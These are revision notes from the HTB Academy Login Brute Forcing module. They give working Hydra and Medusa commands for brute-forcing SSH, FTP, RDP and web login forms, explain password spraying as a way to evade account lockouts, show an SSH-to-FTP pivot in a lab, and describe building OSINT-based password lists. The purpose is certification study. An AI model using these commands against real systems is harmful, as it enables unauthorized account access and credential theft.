All articles

Login Brute Forcing — Hydra, Medusa, Wordlists and Custom Lists (HTB CWES)

Built from the Login Brute Forcing module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every tool flag and syntax kept, condensed. Labs and lessons are on HTB Academy.

Brute forcing = try credentials until one works. It's the fallback when exploits and social engineering fail, and it's devastating against weak or default passwords. The craft is picking the right attack type, the right wordlist, and getting the tool's success/failure condition right.

1. Attack types & wordlists

Type Idea
Simple brute force every char combination (charset^length)
Dictionary a wordlist of likely passwords (rockyou)
Hybrid dictionary words + mutations (Summer2023 → Summer2024!)
Credential stuffing leaked user:pass reused on other sites
Password spraying few common passwords × many users (beats lockouts)
Reverse brute force one password × many users

Default credentials are the easiest win (admin/admin, root/root…). Start there. Key SecLists lists:

Usernames/top-usernames-shortlist.txt          Passwords/Common-Credentials/2023-200_most_used_passwords.txt
Usernames/xato-net-10-million-usernames.txt    Passwords/Leaked-Databases/rockyou.txt
Passwords/Default-Credentials/default-passwords.txt

2. Hydra

Fast, parallel network login cracker. Syntax: hydra [login] [pass] [opts] service://target.

Flag Meaning
-l user / -L users.txt single / list of usernames
-p pass / -P pass.txt single / list of passwords
-t N parallel tasks
-f stop at first hit
-s PORT non-default port
-V verbose (show each try)
-x 6:8:charset generate brute-force passwords
-M targets.txt multiple targets

Services: ssh, ftp, http-get, http-post-form, smtp, pop3, imap, mysql, mssql, rdp, vnc.

hydra -l root -P pass.txt ssh://10.10.10.10
hydra -L users.txt -P pass.txt -s 2121 -V ftp.example.com ftp
hydra -l administrator -x 6:8:abc...XYZ0-9 10.10.10.10 rdp     # generated passwords

HTTP Basic Auth

401 + WWW-Authenticate → base64 user:pass in Authorization. Use http-get:

hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81

Login forms — http-post-form

The hard part is the condition string: "path:params:condition", with ^USER^/^PASS^ placeholders.

  • Failure condition F=string — mark failed if the response contains it (e.g. F=Invalid credentials). Most common.
  • Success condition S=… — mark success on a status (S=302) or keyword (S=Dashboard).
hydra -L users.txt -P pass.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
hydra -l admin -P pass.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302"

Find the path, field names and the fail/success string by inspecting the form (DevTools → the name= attributes), watching the Network tab, or intercepting in Burp. Include any hidden fields (CSRF tokens) in the params.

3. Medusa

Parallel, modular cracker. Syntax: medusa [target] [creds] -M module [-m opts].

Flag Meaning
-h host / -H hosts.txt target(s)
-u user / -U users.txt username(s)
-p pass / -P pass.txt password(s)
-M module ssh, ftp, http, web-form, mysql, rdp…
-m "opts" module options
-t N · -f/-F · -n PORT · -v LEVEL tasks · stop at first · port · verbose
-e ns also try empty (n) and same-as-username (s) passwords
medusa -h IP -n PORT -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
medusa -h IP -u ftpuser -P pass.txt -M ftp -t 5
medusa -M web-form -h site -U users.txt -P pass.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"
medusa -h 10.0.0.5 -U users.txt -e ns -M ssh      # empty / default passwords

4. Service pivot (SSH → FTP)

Crack SSH, log in, then enumerate internally and brute the next service:

medusa -h IP -n PORT -u sshuser -P pass.txt -M ssh -t 3     # crack
ssh sshuser@IP -p PORT                                       # login
netstat -tulpn | grep LISTEN     # find :21   (or nmap localhost)
# /home has ftpuser → brute FTP:
medusa -h 127.0.0.1 -u ftpuser -P pass.txt -M ftp -t 5
ftp ftp://ftpuser:PASS@localhost   # ftp> get flag.txt

5. Custom wordlists

Generic lists miss targeted conventions. Build per-target.

Filter a list to the password policy with chained grep:

grep -E '^.{8,}$' list.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' > filtered.txt
# 2+ special chars:  ... | grep -E '([!@#$%^&*].*){2,}'

Usernames — Username Anarchy (name → every convention: jane, j.smith, smithj, js…):

git clone https://github.com/urbanadventurer/username-anarchy
./username-anarchy Jane Smith > users.txt

Passwords — CUPP (OSINT-driven: name, birthdate, partner, pet, company, interests → mutations, leetspeak, years, specials):

cupp -i            # interactive; outputs e.g. jane.txt

Then filter to policy and feed both lists to Hydra:

hydra -L users.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"

6. What to carry into the CWES exam

  • Default creds first, then targeted dictionary, then hybrid. Password-spray to dodge lockouts.
  • The condition string makes or breaks http-post-form: get the exact fail string (F=Invalid credentials) or a success signal (S=302/keyword) by inspecting a real failed/successful login in DevTools/Burp.
  • Know both tools: Hydra http-post-form and Medusa web-form for web; ssh/ftp modules for services; -e ns (Medusa) for empty/default.
  • Build the wordlist to the target: Username Anarchy for names, CUPP for OSINT passwords, grep to match the policy — far faster than rockyou.
  • The skills assessment is two-stage: brute a login to get a username, then brute the next target with it.

Cheatsheet — Login Brute Forcing

Hydra

hydra -l USER -P pass.txt ssh://IP
hydra -L users.txt -P pass.txt -s PORT -V ftp.host ftp
hydra -l USER -P pass.txt IP http-get / -s 81                       # basic auth
hydra -L users.txt -P pass.txt -f IP -s PORT http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302"     # success condition
hydra -l admin -x 6:8:abc...0-9 IP rdp                              # generate passwords

Medusa

medusa -h IP -u USER -P pass.txt -M ssh -t 3
medusa -h IP -u USER -P pass.txt -M ftp
medusa -M web-form -h host -U users.txt -P pass.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"
medusa -h IP -U users.txt -e ns -M ssh                             # empty / same-as-user

Wordlists

./username-anarchy Jane Smith > users.txt
cupp -i                                                             # → jane.txt
grep -E '^.{8,}$' l | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' > filtered.txt
# SecLists: top-usernames-shortlist.txt · 2023-200_most_used_passwords.txt · rockyou.txt · default-passwords.txt

Built from HTB Academy's Login Brute Forcing module — labs, lessons and the CWES exam are on HTB Academy.